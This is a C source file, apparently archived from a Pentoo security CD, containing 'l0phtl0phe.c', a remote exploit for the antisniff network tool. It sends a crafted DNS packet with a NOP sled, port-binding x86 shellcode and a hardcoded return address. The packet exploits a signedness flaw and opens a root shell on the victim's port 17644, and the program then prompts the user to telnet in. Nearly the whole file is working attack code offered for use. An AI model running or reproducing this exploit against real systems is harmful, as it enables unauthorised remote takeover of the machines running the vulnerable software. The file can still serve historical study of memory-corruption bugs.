home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / networktools / antisniffexpl2.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  141 lines

  1.  
  2. /* l0phtl0phe.c - antisniff exploit (1-1-1 "second fixed version" included)
  3.  *
  4.  * -scut/teso
  5.  *
  6.  * gcc -o l0phtl0phe l0phtl0phe.c -Wall -lnet `libnet-config --defines`
  7.  *
  8.  * description:
  9.  * l0pht messed up the fix for their problem in antisniff by not regarding
  10.  * the type signedness properties of the char and int values used. this
  11.  * results in a cool method bypassing the too extra checks (length + strncat).
  12.  * some work on this topic have been done by mixter, (bad results on type
  13.  * casting), but it should be obvious to any security conscious programmers.
  14.  * i'm not stating that they aren't allowed errors, but they should fix it
  15.  * for sure if they're going to fix it at all.  -sc.
  16.  *
  17.  * 2nd version: script kiddie proof to avoid that "doesn't work" lamer claim.
  18.  *
  19.  * greetings to all teso, lam3rz, hert, adm, w00w00 and lsd ppl.
  20.  */
  21.  
  22. #include <stdio.h>
  23. #include <stdlib.h>
  24. #include <netinet/in.h>
  25. #include <arpa/nameser.h>
  26. #include <libnet.h>
  27.  
  28.  
  29. #define    OFFSET        0xbffef9a0
  30.  
  31. unsigned int    build_xp (unsigned char *xp);
  32.  
  33.  
  34. int
  35. main (int argc, char *argv[])
  36. {
  37.     int        sock;        /* raw socket */
  38.     u_long        src_ip,
  39.             dst_ip;
  40.  
  41.     unsigned char    xpbuf[1024];    /* this one gets complicated now */
  42.     unsigned char    tpack[2048];    /* paket buffer */
  43.     unsigned int    pl_len;
  44.  
  45.  
  46.     if (argc != 3) {
  47.         printf ("usage: %s <source ip> <dest ip>\n\n", argv[0]);
  48.  
  49.         exit (EXIT_FAILURE);
  50.     }
  51.  
  52.     sock = libnet_open_raw_sock (IPPROTO_RAW);
  53.     if (sock == -1) {
  54.         perror ("libnet_open_raw_sock");
  55.         exit (EXIT_FAILURE);
  56.     }
  57.  
  58.     src_ip  = libnet_name_resolve (argv[1], 0);
  59.     dst_ip  = libnet_name_resolve (argv[2], 0);
  60.  
  61.     pl_len = build_xp (xpbuf);
  62.  
  63.     libnet_build_ip (UDP_H + DNS_H + pl_len, 0, 7350, 0, 2, IPPROTO_UDP,
  64.         src_ip, dst_ip, NULL, 0, tpack);
  65.     libnet_build_udp (libnet_get_prand (PRu16), 53, NULL, 0,
  66.         tpack + IP_H);
  67.     libnet_build_dns (libnet_get_prand (PRu16), 0x0000, 1, 0, 0, 0,
  68.         xpbuf, pl_len, tpack + IP_H + UDP_H);
  69.     libnet_do_checksum (tpack, IPPROTO_UDP, UDP_H + DNS_H + pl_len);
  70.  
  71.     /* they use "udp and dst port 53" as bpf, so we should have no problem
  72.      */
  73.     libnet_write_ip (sock, tpack, UDP_H + IP_H + DNS_H + pl_len);
  74.     libnet_close_raw_sock (sock);
  75.  
  76.     printf ("exploitation succeeded.\n");
  77.     printf ("try: \"telnet %s 17664\" now.\n", argv[2]);
  78.  
  79.     exit (EXIT_SUCCESS);
  80. }
  81.  
  82.  
  83. /* build_xp
  84.  *
  85.  * build exploit buffer into buffer pointed to by `xp'.
  86.  */
  87.  
  88. unsigned int
  89. build_xp (unsigned char *xp)
  90. {
  91.     int        i;
  92.     unsigned char    buf[1024];
  93.     unsigned char    shellcode[] =
  94.         /* portshell 17644 portshellcode by smiler & scut */
  95.         "\x31\xc0\xb0\x02\xcd\x80\x09\xc0\x74\x06\x31\xc0"
  96.         "\xfe\xc0\xcd\x80\xeb\x76\x5f\x89\x4f\x10\xfe\xc1"
  97.         "\x89\x4f\x0c\xfe\xc1\x89\x4f\x08\x8d\x4f\x08\xfe"
  98.         "\xc3\xb0\x66\xcd\x80\xfe\xc3\xc6\x47\x10\x10\x66"
  99.         "\x89\x5f\x14\x88\x47\x08\xb0\x45\x66\x89\x47\x16"
  100.         "\x89\x57\x18\x8d\x4f\x14\x89\x4f\x0c\x8d\x4f\x08"
  101.         "\xb0\x66\xcd\x80\x89\x5f\x0c\xfe\xc3\xfe\xc3\xb0"
  102.         "\x66\xcd\x80\x89\x57\x0c\x89\x57\x10\xfe\xc3\xb0"
  103.         "\x66\xcd\x80\x31\xc9\x88\xc3\xb0\x3f\xcd\x80\xfe"
  104.         "\xc1\xb0\x3f\xcd\x80\xfe\xc1\xb0\x3f\xcd\x80\x31"
  105.         "\xd2\x88\x57\x07\x89\x7f\x0c\x89\xfb\x8d\x4f\x0c"
  106.         "\xb0\x0b\xcd\x80\x31\xc0\x99\x31\xdb\x31\xc9\xe8"
  107.         "\x7e\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
  108.  
  109.     unsigned char    head[] =
  110.         "\x07-7350-\x00\xfe";
  111.  
  112.     memcpy (buf, head, 9);
  113.     for (i = 9 ; i < (sizeof (buf) - strlen (shellcode)) ; ++i)
  114.         buf[i] = '\x90';
  115.     memcpy (buf + sizeof (buf) - strlen (shellcode), shellcode,
  116.         strlen (shellcode));
  117.  
  118.     buf[272] = '\xeb';
  119.     buf[273] = '\x08';
  120.     buf[274] = (OFFSET      ) & 0xff;
  121.     buf[275] = (OFFSET >>  8) & 0xff;
  122.     buf[276] = (OFFSET >> 16) & 0xff;
  123.     buf[277] = (OFFSET >> 24) & 0xff;
  124.  
  125.     memcpy (xp, buf, sizeof (buf));
  126.  
  127.     return (sizeof (buf));;
  128. }
  129.  
  130.  
  131.  
  132.  
  133.  
  134.  
  135.  
  136.  
  137.  
  138.  
  139.  
  140.  
  141.